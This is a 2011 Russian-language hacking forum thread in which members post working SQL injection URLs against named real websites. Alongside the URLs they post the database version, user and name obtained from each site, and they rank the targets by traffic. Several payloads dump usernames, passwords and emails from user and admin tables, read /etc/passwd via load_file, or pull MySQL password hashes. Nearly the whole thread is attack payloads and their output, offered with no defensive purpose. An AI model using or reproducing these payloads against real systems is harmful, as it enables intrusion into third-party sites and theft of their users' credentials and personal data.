SQL Инъекции

BigBear · 1 Oct 2011

vaddd said:

http://computeremuzone.com/ficha.php?id=18 (60-80 юзеров онлайн)
крутил через havij, вручную не удалось... file_priv=y
Click to expand...

Молодёжь нынче не та =/ Всё на программы перекладывают...

А по сути всё просто
Code:
http://computeremuzone.com/ficha.php?id=9999+union+select+version(),2,3,4,5,6--
Current User: [email protected]
Sql Version: 5.0.91-log
Current DB: emuzonedb
Data Bases: information_schema
emuzonedb

eclipse92 · 1 Oct 2011

http://www.dkggroup.com/main.php?id=121'

http://www.dkggroup.com/main.php?id=-121+union+all+select+1,group_concat(Username,0x3a,Password,0x3a,UserGroup),3,4,5+from+uvp_Users

wkar · 1 Oct 2011

тИЦ: 1600
Code:
http://www.solvex.ru/hot/list.php?uid=-22+union+select+1,concat_ws(0x3a,version(),database(),user()),3--+
ver 5.1.39
db solvexmdb
user root@localhost
file_priv y, mq = on

OxoTnik · 1 Oct 2011

тиц 850

первенец

http://www.chelsi.ru/comment.php?idart=-11364+union+%0A+select+1,2,concat_ws%280x3a,email,password%29,4,5,6+from+users+--+
Click to expand...

AC//DC · 2 Oct 2011

Учреждение Российской Академии Наук Институт Биологического Приборостроения

http://www.ibp-ran.ru/catalog.php?trid=-203%20and%201=2%20union%20select%201,2,3,4,5,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),7,8,9,10,11,12,13,14,15,16+--

4.0.27-log [email protected] pse101 portbld-freebsd7.1

Kerny · 2 Oct 2011

Уязвимость существует в get запросе http://www.bryansktel.ru/news/?idnews=121 из-за недостаточной фильтрации переменной idnews.

select+concat(login,0x3a,password,0x3a,level)+from+admins+limit+0,1

winstrool · 3 Oct 2011

http://turkupon.ru/articles.php?root=1'+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5+--+
Click to expand...

grafrru_turkupon@localhost:5.1.50-lk-log:grafrru_turkupon

http://www.fishe.ru/diler.php?id=-10'+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database())+--+
Click to expand...

fisheru@localhost:5.0.26-lk-log:fisheru

http://kosmostom-omsk.ru/content.php?id=-21'+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),version(),database()),9,0+--+
Click to expand...

stomkosmos@localhost:5.0.26-log:stomkosmos

http://leohaus.ru/object.php?id=-59'+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,0,11,12,13,14,15,16,17+--+
Click to expand...

leohausru@localhost:5.0.26-log:leohausru

http://steklo55.ru/content.php?id=3'+and+(version()+like+'5%')+and(user()+like+'steklo55ru%')+and+(database()+like+'steklo55ru')+--+
Click to expand...

http://art-reklama.com.ua/passport.php?id=-170+union+select+1,load_file(0x2f6574632f706173737764),3,4,concat_ws(0x3a,user(),version(),database()),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)+--+
Click to expand...

art@localhost:5.1.58:art-reklama

mix0x0 · 3 Oct 2011

Code:

http://[B]kaluga.pizdec.net[/B]/downloadmp3/mp3.php?album_id=[COLOR=Red]-[/COLOR]1635978+[COLOR=Red]union+Select+1,2,3,4,5,6,group_concat%28table_name+separator+0x3a%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59+from+information_schema.tables+where+table_schema=0x7a697073--[/COLOR]

version: 5.0.77
database: zips
user: zips@localhost

Code:

http://[B]foroli4ka.org.ua[/B]/aforism/index.php?id=1+[COLOR=Red]and+substring%28@@version,1,1%29=5 [/COLOR][COLOR=Yellow]//true[/COLOR]

N@b$ter · 5 Oct 2011

PHP:

http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,group_concat(column_name+separator+%27%3Cbr%3E%27)+from+information_schema.columns+where+table_schema=%27kitanaru%27+and+table_name=%27user_profile%27--+

version - 5.0.45
kitanaru@localhost
тиц - 20
пр - 3

good.god · 5 Oct 2011

Code:

http://www.easyincometoday.co.uk/shop/ViewItem.php?ItemID=1'+and+1=0+union+select+1,group_concat(version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+

5.0.51a-3ubuntu5:easyincome

AHTNkiller · 5 Oct 2011

http://www.autodostavka.ru/index.php?id=729&model=-981%20UNION%20ALL%20SELECT%201,2,3,4,5,6,group_concat%28username,password%29,8,9,10,11,12%20from%20regusers

tght · 6 Oct 2011

http://shownewstv.ru/taunew/index.php?id=5227-999.9+union+select+1,2,3,4,version(),6,7,8,user(),10,database(),12,13,14,15,16,17--

5.1.49-1ubuntu8.1

shownews@localhost

DB: wwwshownewstvru

http://avtozapchasty.ru/shop/i.php?id=288821-999.9+union+select+1,2,version(),4,5,6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

5.5.16-log 6

cck135@WIN-BZW07G9C3OB

Faaax · 7 Oct 2011

Code:
http://faq.freecity.de/support/faq_showfaq.phtml?id=-85+union+select+1,version()+--+&katname=K%C3%BCndigung
4.0.24_Debian-10sarge2-log
pr4
alexa 384,252

Faaax · 7 Oct 2011

Code:

http://www.salue.de/nachrichten/message.phtml?id=-14895+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20,21+--+

pr 5
alexa 272,965

Boolean · 7 Oct 2011

Code:
http://roston.cz/czechdjs/?section=karta&id=1+and+1=2+union+select+1,2,3,4,5,6,user(),0x61,9,10,11,12,13,14,version(),database(),17,18,19+--+
так же идет opendir('foto/' . $_GET['id']), и инклудится файл inc-kalendar-10-2011.txt.

kravch_v · 7 Oct 2011

ГАЗклуб:
Code:
http://www.gazclub.ru/faq/?mess_id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user
u9884_2'@'10.8.1.198

PageRank - 0
Yandex тИЦ - 120

0x1d · 8 Oct 2011

http://www.danielbank.kiev.ua/index.php?action=news&type=det&id=79{SQLINJ}

MySQL 5.2.2.

DataBase: danielbank

winstrool · 10 Oct 2011

Old School CMS 2010
root@vsevbanu.ru:5.0.51a-24+lenny4-log:vvb

http://www.vsevbanu.ru/post.php?id=-82+UnIon+selECt+1,concat_ws(0x3a,user(),version(),database()),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10+--+
Click to expand...

Уязвимость пресутствует из-за отсутствия фильтрации данных в парамитре ID

post.php

if(!empty($_GET['id'])){$id = $_GET['id'];}
else $id = 1;
$show = $_GET['show'];

// вывод содержимого страницы;

$sql = "SELECT * FROM `pora` WHERE id = $id AND type = 'art'";
$result = mysql_query($sql);
$cont = mysql_fetch_object($result);
Click to expand...

AC//DC · 10 Oct 2011

http://www.showbilet.ru/index.php?nav=1&page=3&id=-10%20and%201=2%20union%20select%201,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10--

4.0.27-log [email protected] showbile portbld-freebsd7.1

aydin-ka · 10 Oct 2011

тиЦ 20 PR 2

http://weldteam.ru/pages.php?id=999999/*++*/union/*++*/select/*++*/concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,2,3+--+
Click to expand...

dexx@localhost:5.0.51a-24+lenny5:dex

SQL Инъекции

BigBear Escrow Service
Staff Member Гарант - Escrow Service

eclipse92 Banned

wkar Elder - Старейшина

OxoTnik На мышей

AC//DC Active Member

Kerny Member

winstrool MasterBlind

mix0x0 Active Member

N@b$ter Elder - Старейшина

good.god Member

AHTNkiller New Member

tght Member

Faaax Banned

Faaax Banned

Boolean Elder - Старейшина

kravch_v Member

0x1d New Member

winstrool MasterBlind

AC//DC Active Member

aydin-ka Elder - Старейшина

Useful Searches

SQL Инъекции

BigBear Escrow Service Staff Member Гарант - Escrow Service

eclipse92 Banned

wkar Elder - Старейшина

OxoTnik На мышей

AC//DC Active Member

Kerny Member

winstrool ~~*MasterBlind*~~

mix0x0 Active Member

N@b$ter Elder - Старейшина

good.god Member

AHTNkiller New Member

tght Member

Faaax Banned

Faaax Banned

Boolean Elder - Старейшина

kravch_v Member

0x1d New Member

winstrool ~~*MasterBlind*~~

AC//DC Active Member

aydin-ka Elder - Старейшина

BigBear Escrow Service
Staff Member Гарант - Escrow Service

winstrool MasterBlind

winstrool MasterBlind